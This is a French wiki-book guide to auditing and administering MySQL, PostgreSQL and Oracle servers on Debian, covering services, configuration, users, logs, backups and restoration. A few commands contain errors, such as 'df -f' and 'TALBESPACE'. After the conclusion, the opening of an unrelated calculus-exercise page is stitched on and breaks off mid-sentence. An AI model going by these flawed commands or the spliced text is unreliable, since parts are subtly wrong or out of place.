{{en}} [http://dev.mysql.com/doc/refman/5.1/en/ MySQL 5.1] ::* {{fr}} [http://docs.postgresqlfr.org/pg-8.1.2/ PostgreSQL 8.1.2] ::* {{en}} [http://www.oracle-10g.de/oracle_10g_documentation/ Oracle] = Détermination du système d'exploitation = * Linux: ** Debian: on trouve ce fichier /etc/debian_version qui contient la version de Debian. Pour plus de détails sur les différentes versions cliquez ici. ** Redhat: /etc/redhat_release Pour la suite du document, nous avons considéré que la base de données fonctionnait sur Debian, mais la quasi totalité des explications dans la suite fonctionne avec les autres distributions linux. Nous avons indiqué quand la commande est spécifique à Debian. = Détermination de l'environnement = Pour connaître le(s) processeur(s) : # cat /proc/cpuinfo Les partitions swap utilisées : # cat /proc/swaps La quantité de RAM disponible/utilisée : # cat /proc/meminfo La configuration réseau : # ifconfig = Services en cours de fonctionnement = Toutes les commandes sont à executer en [[w:Utilisateur_root|root]]. == Pour connaître la liste des processus qui fonctionnent : == # ps aux == Pour connaître la liste des démons au démarrage de l'ordinateur : == Regarder le nom du logiciel de démarrage dans la liste des processus, c'est celui dont le PID vaut 1. * Si vous obtenez [[w:Init|init]] : ** Regarder le chiffre entre <nowiki>[] derrière init, puis taper : # ls /etc/rc[chiffre].d/</nowiki> Par exemple si le chiffre est 2 : # ls /etc/rc2.d/ * Si vous obtenez [[w:Initng|initng]], il faut taper : # ng-update show pour obtenir la liste des démons démarrés. = Les logiciels installés | La façon dont ils sont installés = Il est possible d'installer de deux manières différentes un logiciel dans une distribution linux. Soit avec un paquetage soit avec les sources. L'intérêt du paquetage, c'est qu'il est beaucoup plus facile à installer et à mettre à jour que les sources. Par contre, plus de personnalisations du logiciel sont possibles grâce à une installation à partir des sources. Dans debian, pour gérer les paquetages, on utilise le logiciel [[w:aptitude|aptitude]]. Il permet d'installer, désintaller et mettre à jour l'ensemble des logiciels présents sur le serveur. Dans le menu d'aptitude il est possible de rechercher un paquetage. Si le paquetage de la base de données n'est pas installé, alors il est installé avec les sources. La plupart du temps, les logiciels installés à partir des sources se situent dans /usr/local/bin. La façon dont est installé le logiciel détermine la procédure des mises à jour. == Pour visualiser l'état de fonctionnement de la base de données == ==== MySQL ==== # /etc/init.d/mysql status Exemple de résultat pour une base en cours de fonctionnement : /usr/bin/mysqladmin Ver 8.41 Distrib 5.0.18, for pc-linux-gnu on i486 Copyright (C) 2000 MySQL AB & MySQL Finland AB & TCX DataKonsult AB This software comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to modify and redistribute it under the GPL license Server version 5.0.18-Debian_7-log Protocol version 10 Connection Localhost via UNIX socket UNIX socket /var/run/mysqld/mysqld.sock Uptime: 4 min 47 sec Threads: 1 Questions: 157 Slow queries: 0 Opens: 0 Flush tables: 1 Open tables: 64 Queries per second avg: 0.547 ==== PostgreSQL ==== # /etc/init.d/postgresql-8.1 status Exemple de résultat pour une base en cours de fonctionnement : Version Cluster Port Status Owner Data directory Log file 8.1 main 5432 online postgres /var/lib/postgresql/8.1/main /var/log/postgresql/postgresql-8.1-main.log ==== Oracle ==== # /etc/init.d/oracle status On identifie la liste des instances Oracle en cours de fonctionnement avec la commande: # ps -ef | grep pmon (Le processus PMON, Process Monitor, étant unique à chaque instance, et identifiant le SID de la base concernée) == Comment démarrer/arrêter/redémarrer une base de données == ==== MySQL ==== * Avec [[w:init|init]] :* Dans le cas d'une base de données classique : # /etc/init.d/mysql (start|stop|restart|reload|force-reload) :* Dans le cas d'un noeud de cluster : # /etc/init.d/mysql-ndb (start|stop|restart|reload|force-reload) :* Dans le cas d'un médiateur de cluster : # /etc/init.d/mysql-ndb-mgm (start|stop|restart|reload|force-reload) * Avec [[w:initng|initng]] # ngc --(start|stop|restart) mysql ==== PostgreSQL ==== * Avec [[w:init|init]] Dans le cas d'une base de données : # /etc/init.d/postgresql-8.1 (start|stop|restart|reload|force-reload|status|autovac-start|autovac-stop|autovac-restart) * Avec [[w:initng|initng]] # ngc --(start|stop|restart) postgresql ==== Oracle ==== * Avec [[w:init|init]] Dans le cas d'une base de données : # /etc/init.d/oracle (start|stop|restart) * Avec [[w:initng|initng]] # ngc --(start|stop|restart) oracle = Les fichiers de configuration = ==== MySQL ==== Tous les fichiers se trouvent dans le dossier /etc/mysql : * ''debian.cnf'' : fichier de configuration généré automatiquement par Debian, contient le login de l'utilisateur système Debian dans MySQL ainsi que son mot de passe. Cet utilisateur permet à Debian de faire la maintenance des bases de MySQL. '''Exemple :''' Automatically generated for Debian scripts. DO NOT TOUCH! [client] host = localhost user = debian-sys-maint password = XXXXXXXXXXXXXXXX socket = /var/run/mysqld/mysqld.sock <br /> * ''debian-log-rotate.conf'' : Définit la quantité de fichiers de [[w:Historique_(informatique)|logs]] à stocker. '''Exemple :''' KEEP_BINARY_LOGS=2 <br /> * ''debian-start'' : Script qui contient la liste des opérations de maintenance à effectuer lors du démarrage de MySQL. '''Exemple :''' #!/bin/bash # # This script is executed by "/etc/init.d/mysql" on every (re)start. # # Changes to this file will be preserved when updating the Debian package. # source /usr/share/mysql/debian-start.inc.sh MYADMIN="/usr/bin/mysqladmin --defaults-file=/etc/mysql/debian.cnf" MYCHECK="/usr/bin/mysqlcheck --defaults-file=/etc/mysql/debian.cnf" MYCHECK_SUBJECT="WARNING: mysqlcheck has found corrupt tables" MYCHECK_PARAMS="--all-databases --fast --silent" # Put commands in the background if they should not block the server start. ( mycheck; ) & exit 0 <br /> * ''my.cnf'' : Tous les paramètres de configuration de MySQL comme les ports/sockets d'écoute, les interfaces réseaux autorisées, le tuning de la base, l'emplacement des logs et des fichiers de base de données... Enfin, ce fichier définit si le serveur MySQL est un noeud de [[w:grappe de serveurs|cluster]] ou un le maître du cluster. Les commentaires dans ce fichier sont assez détaillés. '''Exemple :''' # # The MySQL database server configuration file. # # You can copy this to one of: # - "/etc/mysql/my.cnf" to set global options, # - "/var/lib/mysql/my.cnf" to set server-specific options or # - "~/.my.cnf" to set user-specific options. # # One can use all long options that the program supports. # Run program with --help to get a list of available options and with # --print-defaults to see which it would actually understand and use. # # For explanations see # http://dev.mysql.com/doc/mysql/en/server-system-variables.html # This will be passed to all mysql clients # It has been reported that passwords should be enclosed with ticks/quotes # escpecially if they contain "#" chars... # Remember to edit /etc/mysql/debian.cnf when changing the socket location. [client] port = 3306 socket = /var/run/mysqld/mysqld.sock # Here is entries for some specific programs # The following values assume you have at least 32M ram # This was formally known as [safe_mysqld]. Both versions are currently parsed. [mysqld_safe] socket = /var/run/mysqld/mysqld.sock nice = 0 [mysqld] # # * Basic Settings # user = mysql pid-file = /var/run/mysqld/mysqld.pid socket = /var/run/mysqld/mysqld.sock port = 3306 basedir = /usr datadir = /var/lib/mysql tmpdir = /tmp language = /usr/share/mysql/english skip-external-locking # # For compatibility to other Debian packages that still use # libmysqlclient10 and libmysqlclient12. old_passwords = 1 # # Instead of skip-networking the default is now to listen only on # localhost which is more compatible and is not less secure. bind-address = 127.0.0.1 # # * Fine Tuning # key_buffer = 16M max_allowed_packet = 16M thread_stack = 128K # # * Query Cache Configuration # query_cache_limit = 1048576 query_cache_size = 16777216 query_cache_type = 1 # # * Logging and Replication # # Both location gets rotated by the cronjob. # Be aware that this log type is a performance killer. #log = /var/log/mysql.log #log = /var/log/mysql/mysql.log # # Error logging goes to syslog. This is a Debian improvement :) # # Here you can see queries with especially long duration #log-slow-queries = /var/log/mysql/mysql-slow.log # # The following can be used as easy to replay backup logs or for replication. #server-id = 1 log-bin = /var/log/mysql/mysql-bin.log # See /etc/mysql/debian-log-rotate.conf for the number of files kept. max_binlog_size = 104857600 #binlog-do-db = include_database_name #binlog-ignore-db = include_database_name # # * BerkeleyDB # # According to an MySQL employee the use of BerkeleyDB is now discouraged # and support for it will probably cease in the next versions. skip-bdb # # * InnoDB # # InnoDB is enabled by default with a 10MB datafile in /var/lib/mysql/. # Read the manual for more InnoDB related options. There are many! # # * Security Features # # Read the manual, too, if you want chroot! # chroot = /var/lib/mysql/ # # If you want to enable SSL support (recommended) read the manual or my # HOWTO in /usr/share/doc/mysql-server/SSL-MINI-HOWTO.txt.gz # ssl-ca=/etc/mysql/cacert.pem # ssl-cert=/etc/mysql/server-cert.pem # ssl-key=/etc/mysql/server-key.pem [mysqldump] quick quote-names max_allowed_packet = 16M [mysql] #no-auto-rehash # faster start of mysql but no tab completition [isamchk] key_buffer = 16M # # * NDB Cluster # # See /usr/share/doc/mysql-server-*/README.Debian for more information. # # The following configuration is read by the ndbd storage daemons, # not from the ndb_mgmd management daemon. # # [MYSQL_CLUSTER] # ndb-connectstring=127.0.0.1 ==== PostgreSQL ==== Les fichiers de configuration se trouvent dans /usr/local/pgsql/data. PostegreSQL possède 3 fichiers de configuration: * ''pg_hba.conf'' : fichier de configuration pour l'authentification des utilisateurs. Ce fichier est une suite d'enregistrements. Les lignes vides sont ignorées. Chaque ligne est structurée d'une des manières suivantes: local database user auth-method [auth-option] host database user CIDR-address auth-method [auth-option] hostssl database user CIDR-address auth-method [auth-option] hostnossl database user CIDR-address auth-method [auth-option] host database user IP-address IP-mask auth-method [auth-option] hostssl database user IP-address IP-mask auth-method [auth-option] hostnossl database user IP-address IP-mask auth-method [auth-option] <br /> * ''pg_ident.conf'': fichier de configuration utilisé si l'on veut effectuer une authentification automatique avec le login utilisé lors du lancement de l'OS. '''Exemple :''' # MAPNAME IDENT-USERNAME PG-USERNAME omicron bryanh bryanh omicron ann ann # bob has user name robert on these machines omicron robert bob # bryanh can also connect as guest1 omicron bryanh guest1 <br /> * ''postgresql.conf'' : principal fichier de configuration. Toutes les informations propres au SGBD sont stockées dans ce fichier. ==== Oracle ==== Par défaut, le fichier de configuration se trouve dans '''/home/oracle/admin/%ORACLE_SID%/pfile '''<br />et se nomme en général init%ORACLE_SID%.ora ''%ORACLE_SID% est le nom de l'instance d'oracle utilisée'' Il contient en général tous les paramètres dont a besoin la base. '''Exemple''' db_name=isima db_files=1020 control_files=/home/oracle/admin/isima/isima.ora db_file_multiblock_read_count = 8 db_block_buffers=200 shared_pool_size=6500000 log_checkpoint_interval=8000 processes=50 dml_locks=100 log_buffers=8192 sequence_cache_entries=10 sequence_cache_hash_buckets=10 #audit_trail=true #timed_statistics=true background_dump_dest=/home/oracle/rdbms80/trace user_dump_dest=/home/oracle/rdbms80/trace db_block_size=2048 compatible=8.0.4.0.0 ... = Localisation physique des données = # Déterminer la localisation dans l'arborescence système des bases de données à partir du fichier de configuration. Par exemple pour MySQL, il se situe dans /var/lib/mysql # Taper : # mount pour connaître le point de montage des partitions. '''Exemple ''': /dev/md0 on / type reiserfs (rw,notail) /dev/sda6 on /home type ext3 (rw) * Si le fichier du périphérique commence par /dev/md, alors il s'agit d'une partition en [[w:RAID (informatique)|RAID]] software. Pour connaître la localisation physique des fichiers, il faut regarder le fichier : /etc/mdadm/mdadm.conf '''Exemple :''' DEVICE partitions ARRAY /dev/md0 level=raid1 num-devices=2 UUID=8402604e:5b65bb45:f6c894f0:906c8b43 devices=/dev/hda1,/dev/hdd1 MAILADDR ludo.gml@laposte.net Dans cet exemple, nous voyons que /dev/md0 est un [[w:RAID (informatique)|RAID]] réparti entre deux partitions, hda1 et hdd1. L'adresse de l'administrateur à avertir en cas de défaillance d'une des deux partitions est également indiqué. # La commande : # df -f affiche l'espace disponible pour chaque partition '''Exemple :''' Sys. de fich. Tail. Occ. Disp. %Occ. Monté sur /dev/md0 186G 163G 23G 88% / /dev/sda6 9,2G 1,7G 7,1G 20% /home Cette commande : # du -hs /var/lib/mysql/* affiche des informations précises sur la taille de chaque fichier. = Interfaces de connexion à la base de données = Il est possible de gérer une base de données par différents moyens : Web, interface graphique, et ligne de commande. Il faut donc identifier les différentes méthodes possibles pour gérer la base de données. == Web == ==== MySQL ==== * [[w:phpmyadmin|PhpMyAdmin]] est l'interface web la plus utilisée pour gérer une base de données MySQL. ==== PostgreSQL ==== * [[w:phppgadmin|PhpPgAdmin]] ==== Oracle ==== * isql*plus * sql*Plus * SQLPlus Worksheet == Applications graphique == ==== Pour tous les serveurs de base de données ==== * [[w:kexi|Kexi]] - Outil KDE * [[w:OOo Base|OpenOffice.org Base]] - Intégré à [[w:OpenOffice.org|OpenOffice 2]]. permet de générer des schémas de la base de données. ==== MySQL ==== * [http://www.mysql.com/products/tools/administrator/ MySQL Administrator] ==== PostgreSQL ==== * [http://pgadmin.org/ pgAdmin] ==== Oracle ==== * [[w:tora|Tora]] *[http://www.oracle.com/enterprise_manager/index.html Oracle Enterprise Manager] == Ligne de commande == ==== MySQL ==== # mysql ==== PostgreSQL ==== # psql ==== Oracle ==== # sqlplus = Analyse interne de la base de données = Nous allons maintenant déterminer les composantes internes de la base de données. Pour cela, nous avons une liste de commandes, très souvent en SQL. Nous avons également ajouté quelques commandes utiles pour un administrateur de base de données. == Généralités == ==== MySQL ==== Pour auditer un serveur MySQL, la commande SHOW permet d'afficher la plupart des informations utiles. ([http://dev.mysql.com/doc/refman/5.1/en/show.html Documentation détaillée]) == Utilisateurs - rôles - droits == ==== MySQL ==== ([http://dev.mysql.com/doc/refman/5.1/en/user-account-management.html Documentation détaillée]) * Liste des utilisateurs USE mysql SELECT * FROM `user` * Créer un utilisateur ([http://dev.mysql.com/doc/refman/5.1/en/create-user.html Documentation détaillée]) CREATE USER user [IDENTIFIED BY [PASSWORD] 'password'] * Supprimer un utilisateur ([http://dev.mysql.com/doc/refman/5.1/en/drop-user.html Documentation détaillée]) DROP USER user; ==== PostgreSQL ==== L'authentification dans PostgreSQL se fait via les rôles ou via les utilisateur. * Liste des rôles: SELECT rolname FROM pg_roles; * Créer un rôle: ([http://docs.postgresqlfr.org/pg-8.1.2/sql-createrole.html Documentation détaillée]) CREATE ROLE name [ [ WITH ] option [ ... ] ] * Supprimer un rôle: ([http://docs.postgresqlfr.org/pg-8.1.2/sql-droprole.html Documentation détaillée]) DROP ROLE name; * liste des utilisateurs SELECT usename FROM pg_user; ou en général on utilise la métacommande \du * Création d'un utilisateur ([http://docs.postgresqlfr.org/8.0/user-manag.html Documentation détaillée]) CREATE USER nom [ [ WITH ] SUPERUSER | NOSUPERUSER | CREATEDB | NOCREATEDB | CREATEROLE | NOCREATEROLE | CREATEUSER | NOCREATEUSER | INHERIT | NOINHERIT | LOGIN | NOLOGIN | CONNECTION LIMIT limite_connexion | [ ENCRYPTED | UNENCRYPTED ] PASSWORD 'motdepasse' | VALID UNTIL 'dateheure' | IN ROLE nomrole [, ...] | IN GROUP nomrole [, ...] | ROLE nomrole [, ...] | ADMIN nomrole [, ...] | USER nomrole [, ...] | SYSID uid * Effacer un utilisateur DROP USER * modifier un utilisateur ALTER USER ==== Oracle ==== * '''Les Utilisateurs''' **Afficher les utilisateurs SELECT * FROM DBA_USERS :*Créer un utilisateur CREATE USER ''nom'' IDENTIFIED BY ''mot_de_passe'' DEFAULT TALBESPACE ''tablespace_par_defaut'' TEMPORARY TABLESPACE ''tablespace_temporaire'' QUOTA ''quota'' ON ''tablespace'' :*Supprimer un utilisateur DROP USER ''utilisateur'' [CASCADE] :*Modifier un utilisateur ALTER USER ''utilisateur'' *'''Les rôles et les privilèges''' **Afficher les rôles SELECT * FROM DBA_ROLES :*Créer un rôle CREATE ROLE :*Attribuer un privilège/un rôle GRANT ''privilège/rôle'' TO ''rôle/utilisateur'' :*Supprimer un rôle DROP ROLE ''role'' == Les bases de données == ==== MySQL ==== * Liste des bases de données : SHOW DATABASES; ==== PostgreSQL ==== * Liste des bases de données: ([http://docs.postgresqlfr.org/pg-8.1.2/catalog-pg-database.html Plus d'infos]) SELECT datname FROM pg_database; en général on utilise la métacommande \l ==== Oracle ==== SELECT name FROM V$DATABASE == Tables == ==== MySQL ==== * Liste des tables SHOW TABLES ==== PostgreSQL ==== * liste des tables: ([http://docs.postgresqlfr.org/pg-8.1.2/view-pg-tables.html Plus d'infos]) SELECT tablename FROM pg_tables; ou la métacommande \dt ==== Oracle ==== * liste des tables: SELECT owner,table_name FROM all_tables; == Schéma des relations entre les tables == Il est possible de générer un schéma des relations entre les différentes tables grâce à OpenOffice Base. ==== MySQL ==== Attention, il faut utiliser le moteur InnoDB pour pouvoir ajouter des clés étrangères. * Lister les clés étrangères ==== PostgreSQL ==== * Liste des clefs étrangères: SELECT classid, refclassid FROM pg_depend; ([http://docs.postgresqlfr.org/pg-8.1.2/catalog-pg-depend.html Plus d'infos]) ==== Oracle ==== *Liste des clés étrangères de l'utilisateur connecté SELECT table_name, constraint_name, r_owner, r_constraint_name FROM user_constraints WHERE constraint_type = 'R' ORDER BY table_name, constraint_name; == Charge de la base de données == Connaître la charge moyenne d'une base de données permet d'anticiper la montée en charge et la migration de la base de données vers un nouveau serveur ou un [[w:grappe de serveurs|cluster]] de serveurs.<br /> Le logiciel [[w:Nagios|Nagios]] fournit une interface web afin d'afficher un état détaillé du serveur. Il permet également d'envoyer une alerte mail ou SMS à l'administrateur système en cas de panne ou de saturation du serveur. ==== MySQL ==== * [[w:MySQLAR|MySQLAR]] est un logiciel qui génère des courbes à partir de l'activité du serveur MySQL, très utile pour auditer des engorgements dans le temps. ([http://gert.sos.be/en/projects/mysqlar/ Site officiel] | [http://gert.sos.be/demo/mysqlar/ Démonstration]) * Cette commande : # /etc/init.d/mysql status permet de connaitre la charge du serveur MySQL. Exemple de résultat : /usr/bin/mysqladmin Ver 8.41 Distrib 5.0.18, for pc-linux-gnu on i486 Copyright (C) 2000 MySQL AB & MySQL Finland AB & TCX DataKonsult AB This software comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to modify and redistribute it under the GPL license Server version 5.0.18-Debian_7-log Protocol version 10 Connection Localhost via UNIX socket UNIX socket /var/run/mysqld/mysqld.sock Uptime: 4 min 47 sec Threads: 1 Questions: 157 Slow queries: 0 Opens: 0 Flush tables: 1 Open tables: 64 Queries per second avg: 0.547 ==== PostgreSQL ==== ==== Oracle ==== En version 10g, via la DBConsole. Sinon, interroger la vue V$SESSION_WAIT, qui renseigne en temps réel des sessions en attentes. Event: correspond à l'evénement P1, P2, et P3 correspondent aux spécifications de l'event (exemple: db file sequential read: P1: file #, P2: block #) Néanmoins le suivi de l'activité d'une instance Oracle est complexe, et requiert l'utilisation d'outil type PERFSTAT pour avoir des informations concrétes. == Triggers == Pour afficher les différents triggers définis dans la base de données : ==== MySQL ==== SHOW TRIGGERS ==== PostgreSQL ==== * liste des triggers : ([http://docs.postgresqlfr.org/pg-8.1.2/catalog-pg-trigger.html Plus d'infos]) SELECT tgname FROM pg_trigger ==== Oracle ==== SELECT trigger_name FROM user_triggers; == Procédures stockées == Permet d'afficher la liste des procédures stockées. ==== MySQL ==== USE mysql SELECT * FROM `func` ([http://dev.mysql.com/doc/refman/5.1/en/stored-procedures.html Documentation sur les procédures stockées]) ==== PostgreSQL ==== Ou utilise la métacommande \df, si on connait le schéma on peut faire \df schema.*, par exemple \df public.* donne toutes les fonctions crée dans ce schéma, qui est celui affecté par défaut à utilisateur. On pourrait tout aussi bien faire \df public.ab* pour avoir toutes les fonctions commençant par ab. Avec \df+ on obtient aussi les commentaires (CREATE COMMENT) sur la fonction ==== Oracle ==== select owner,name from dba_source; == Logs == Les [[w:Historique_(informatique)|logs]] sont des fichiers textes qui contiennent tout ce qui se passe dans le logiciel. Ces fichiers sont importants pour détecter et localiser une panne. Les logs des distributions linux sont dans le dossier : /var/log Le fichier de log le plus important est : /var/log/syslog ==== MySQL ==== * /var/log/mysql.log contient toutes les erreurs autour du serveur MySQL. C'est le premier fichier à regarder quan d le serveur ne MySQL démarre pas. Il est possible d'activer des logs pour sauvegarder toutes les requêtes, les modifications dans les tables ou pour identifier les requêtes les plus lentes. ([http://dev.mysql.com/doc/refman/5.1/en/log-files.html Détails sur les types de logs]) ==== PostgreSQL ==== Lors de la création d'une base , elle est configuré avec un archivage minimum (un certains nombre de fichiers de taille fixes sont utilisés pour l'archivage) Cet archivage n'est pas suffisant pour pouvoir restaurer des sauvegardes à chaud, il faut un archivage de type WAL, qui n'écrase pas les log les plus anciens. Pour configurer un archivage WAL: Dans le fichier postgresql.conf, recherchez le parametre archive_command et donnez lui la valeur suivante: archive_command = 'cp -i %p /mnt/server/archivedir/%f </dev/null' (%p correspond au path du fichier à archiver, alors que %f corespond seulement au nom du fichier) <br /> Sous certaines plateformes, la commande cp -i écrase les fichiers déja existant, ce qui est contraire à la logique d'un archivage WAL. Si vous rencontrez des problemes, il faut rajouter un test dans la commande: archive_command = 'test ! -f .../%f && cp %p .../%f' <br /> ==== Oracle ==== On distingue deux types de "logs" avec Oracle: - les fichiers "redo logs", qui assurent l'intégrité de la base - les fichiers textes statuant de l'état de la base *Pour avoir des fichiers "redo log" actifs, la base doit être en mode <font id="ARCHIVELOG">ARCHIVELOG</font>. Pour connaître le mode d'archivage: SELECT name, log_mode FROM V$DATABASE :Pour activer le mode ARCHIVELOG, il faut arrêter la base shutdown immediate :puis modifier le fichier init<SID>.ora log_archive_start = TRUE *Les fichiers de log sont également écrits dans le fichier init<SID>.ora '''Exemple :''' log_archive_dest_1 = "location=/home/oracle/oradata/isima/archive" log_archive_dest_2 = "location=/home/oracle/temp" <!-- = Optimisation = Nous n'avons pas traité ce chapitre car il est trop vaste. --> On trouvera les fichiers de "log" texte en cherchant les paramètres: SQL> show parameter dump SQL> NAME TYPE VALUE ------------------------------------ ----------- ------------------------------ background_core_dump string partial background_dump_dest string /u01/oracle/admin/V102/bdump core_dump_dest string /u01/oracle/admin/V102/cdump max_dump_file_size string UNLIMITED shadow_core_dump string partial user_dump_dest string /u01/oracle/admin/V102/udump Sachant que: - bdump: processus systèmes - udump: processus "user": client - cdump: fautes de segmentations (bugs) = Suivi de sécurité = Il est primordial de suivre les alertes à propos de failles de sécurité qui peuvent être détectés dans l'ensemble des logiciels présents sur le serveur. Heureusement, avec la plupart des distributions linux, dont Debian, le suivi de sécurité est réalisé pour tous les logiciels contenus dans la distribution. Il suffit de s'abonner à la [[w:Liste de diffusion|liste de diffusion]] [http://lists.debian.org/debian-security-announce/ debian-security-announce]. à chaque alerte de sécurité, un mail est envoyé à tous les abonnés pour signaler le problème. Si l'alerte de sécurité concerne un logiciel présent sur le serveur, il faut le mettre à jour grâce aux commandes : # apt-get update # apt-get upgrade Bien entendu, il faut que les logiciels installés soient des paquetages debian officiels, sinon cette politique de sécurité est défaillante. ==== Oracle ==== Debian n'effectue pas de suivi de sécurité pour Oracle, car c'est un logiciel propriétaire. Il faut donc mettre en place une procédure de sécurité spécifique pour Oracle. Il est impératif, pour un système en production, d'avoir un support valide auprès d'Oracle. Le site WEB de la base de connaissances est http://metalink.oracle.com = Sauvegardes = Un serveur de base de données doit être obligatoirement sauvegardé car un serveur sera obligatoirement en panne un jour. Il est donc important de mettre en place une politique de sauvegardes et de les effectuer régulièrement. Une multitude de méthodes sont possibles pour sauvegarder un serveur.<br /> La plus courante est de posséder un serveur de sauvegardes qui automatise et centralise toutes les sauvegardes de l'entreprise, puis de stocker sur bande magnétique ou DVD-R.<br /> [[w:backuppc|BackupPc]] est un logiciel très utilisé pour sauvegarder un ensemble d'ordinateurs, car il possède une interface web afin de lancer des sauvegardes ou de restaurer des fichiers.<br /> ==== MySQL ==== * à chaud : La procédure recommandée pour sauvegarder est : # mysqldump --tab=/emplacement/du/fichier.sql --opt nom_bdd Ceci génère un fichier SQL de la base de données qui est facile à compresser et à sauvegarder. ([http://dev.mysql.com/doc/refman/5.1/en/backup.html Documentation détaillée]) * à froid : Sauvegarder le dossier où MySQL stocke ses bases de données. (Généralement /var/lib/mysql) ==== PostgreSQL ==== Les sauvegardes peuvent se faire de trois manières: * ''SQL DUMP'': Faire un SQL DUMP signifie créer un fichier texte contenant une suite de requetes SQL permettant de pouvoir reconstruire toute la base de données. Dans PostgreSQL, nous disposons de la commande '''pg_dump''' qui s'utilise de la manière suivante. pg_dump dbname > outfile <br /> * ''Une sauvegarde au niveau du système de fichier'': Cette sauvegarde se fait elle aussi a froid, et elle consiste simplement en un archivage de toutes les données de la base à sauvegarder. On peut utiliser une commande comme celle ci: tar -cf backup.tar /usr/local/pgsql/data <br /> * ''Une sauvegarde a chaud'': Les sauvegardes a chaud se font alors que la base est en exploitation. Pour pouvoir faire des restoration correctes, il est nécessaire que la base dispose d'un système d'archivage WAL. Cela permet de faire du point-in-time recovery (PITR): On peut recupérer l'état de la base à n'importe quel instant, du moment qu'il y ait eu un backup de fait Créer la sauvegarde de la base : Apres s'être assuré que l'archivage WAL fonctionne, loggez vous en administrateur, et lancez la commande : SELECT pg_start_backup('label'); (label corespond au nom que vous voulez donner a cette sauvegarde) <br /> Ensuite, effectuez une sauvegarde avec la commande cpio ou tar, comme dans la sauvergarde au niveau du système de fichier. Et après cette derniere effectuée, reloggez vous en administarteur et lancer la requete : SELECT pg_stop_backup(); <br /> ==== Oracle ==== Il existe plusieurs façons d'effectuer la sauvegarde d'une base de données. *''Sauvegarde à froid'' Il s'agit de faire une sauvegarde de la base dans un état donné. :*Formatage de texte sous SQL*Plus Set feedback off Set Linesize 200 Set Heading off Set Pagesize 0 Set Trimspool off Set Verify off :*Écrire les données dans un script sql spool ~/backup.sql select 'host cp ' || name || ' ~/backup ' from v$datafile; select 'host cp ' || member || ' ~/backup ' from v$logfile; select 'host cp ' || name || ' ~/backup ' from v$controlfile; select 'host cp ' || name || ' ~/backup ' from v$tempfile; spool off :* Arrêter la base shutdown immediate :*Effectuer la sauvegarde à proprement parler @~/backup.sql :*Redémarrer la base startup *:''Sauvegarde à chaud'' Il s'agit de sauvegarder des données alors que la base est en marche. Il est nécessaire que le mode [[#ARCHIVELOG|ARCHIVELOG]] soit activé. :*Il faut tout d'abord identifier le tablespace qui va être sauvegardé. :*Ensuite il faut mettre le tablespace hors ligne '''Exemple :''' ALTER TABLESPACE ''exple_tablespace'' OFFLINE NORMAL; :*Sauvegarder le fichier concerné (un simple copier/coller) :*Enfin, remettre le tablespace en ligne '''Exemple :''' ALTER TABLESPACE ''exple_tablespace'' ONLINE NORMAL; = Restauration = ==== MySQL ==== Si la sauvegarde a été effectuée à chaud : # mysql < nom_du_fichier.sql Sinon : Arrêter le serveur, et copier la sauvegarde dans le dossier de travail MySQL, puis démarrer le serveur. ==== PostgreSQL ==== La restauration s'effectue de différente manière, suivante le type de suvegarde utilisée. * ''SQL DUMP'' Pour recupérer la base de données, il faut utiliser la commande suivante: psql dbname < infile <br /> * ''Sauvegarde au niveau du système de fichier'' Il suffit de lancer la commande: tar -xvf backup.tar /usr/local/pgsql/data <br /> * ''point-in-time recovery (PITR), restauration d'une sauvegarde à chaud'' Après avoir fermé la base de données et restoré le fichier de sauvegarde comme pour une sauvegarde a froid, créez un fichier de configuration pour la restoration dans le repertoire data. Appelez ce fichier ''recovery.conf'' et dans ce fichier insérez la commande suivante : restore_command = 'cp /mnt/archivedir/%f %p' <br /> ==== Oracle ==== *Si la sauvegarde a été effectuée à chaud, utiliser la commande 'recover' après avoir éventuellement remis des fichiers sauvegardés RECOVER [AUTOMATIC] [FROM location] {[STANDBY] DATABASE [UNTIL options] [USING BACKUP CONTROLFILE] |TABLESPACE {tablespace [, tablespace ...]} |DATAFILE {datafilename [,datafilename ...]} |STANDBY {TABLESPACE tablespace [,tablespace ...] |DATAFILE datafilename [,datafilename ...]} UNTIL CONTROLFILE |LOGFILE filename |CONTINUE [DEFAULT] |CANCEL} [PARALLEL clause] *Si la sauvegarde a été effectuée à froid, recopier tous le fichiers de la sauvegarde dans la base après l'avoir au préalable arrêtée = Mise à jour = Pour mettre à jour le serveur de base de données, s'il est installé en paquetage, il suffit de faire : # apt-get update # apt-get upgrade Sinon, bon courage :-) = Suivi des bugs = Quand on rencontre un problème inexplicable avec un logiciel, le bon réflexe est de faire un tour sur le rapporteur de bugs du projet. Il ne faut pas hésiter à rapporter un bug lorsque on trouve un, car sinon il a moins de chance d'être corrigé. ==== MySQL ==== Le [http://bugs.mysql.com/ gestionnaire de bugs de MySQL]. ==== PostgreSQL ==== * Rapporter les bugs : Lorsque vous recontre un bug dans PostgreSQL, vous pouvez le rapportez à l'organisme qui s'occupe des mise a jour de PostgreSQL. Pour cela, il vous suffit d'envoyer un rapport sur le bug à l'adresse suivante : <pgsql-bugs@postgresql.org> Il est demandé de faire un bref descriptif du bug en tant que sujet du mail. ==== Oracle ==== On utilise le site du support Oracle: http://metalink.oracle.com = Conclusion = La rédaction de ce document nous a permis d'approfondir nos connaissances sur les logiciels de base de données et de synthétiser les points importants à ne pas négliger lors de la prise en main d'une base de données, nous espérons que ce document vous sera également utile. Enfin, nous avons également appris à rédiger un document à plusieurs grâce au wiki. Si vous avez trouvé des erreurs ou s'il vous semble qu'il faudrait creuser certains points, n'hésitez pas à modifier ce document. Calculs de dérivées (E-M) 6955 33155 2006-02-17T10:05:27Z HB 15 /* Dérivées de fonctions [[w:fonction rationnelle|rationnelles]] */ + deux {{ExoMath}} Le calcul de [[w:dérivée|dérivées]] s'étend de la première jusque dans le supérieur. Pour les étudiants québécois ; ces exercices font référence à un niveau collégial, c'est-à-dire le premier cours de calcul au ''CÉGEP''. Les exercices présentés ici sont groupés par ordre d'accessibilité. Certains exercices auront une solution complète et d'autres auront une solution plus brève, tout dépendant. Par contre, chaque étape de la solution sera justifié, du moins, entre parenthèse à droite de l'étape en question. <big>À noter également que pour la plupart des problèmes, au lieu de spécifier à chaque fois la formule de dérivation utilisée, nous préciserons un numéro de formule, correspondant à la table établie sur [[Formules de dérivation|cette page]].</big> Également, nous utiliserons autant la notion <math>f(x)</math> et <math>f'(x)</math> que <math>y</math> et <math>y'</math>, pour familiariser l'utilisateur à tous les situations dans le domaine du possible. == Dérivées de [[w:fonction polynôme (mathématiques élémentaire)|fonctions polynômiales]]== [[Image:eepp deriv parab.png|right|float|64px]] * '''Exercice 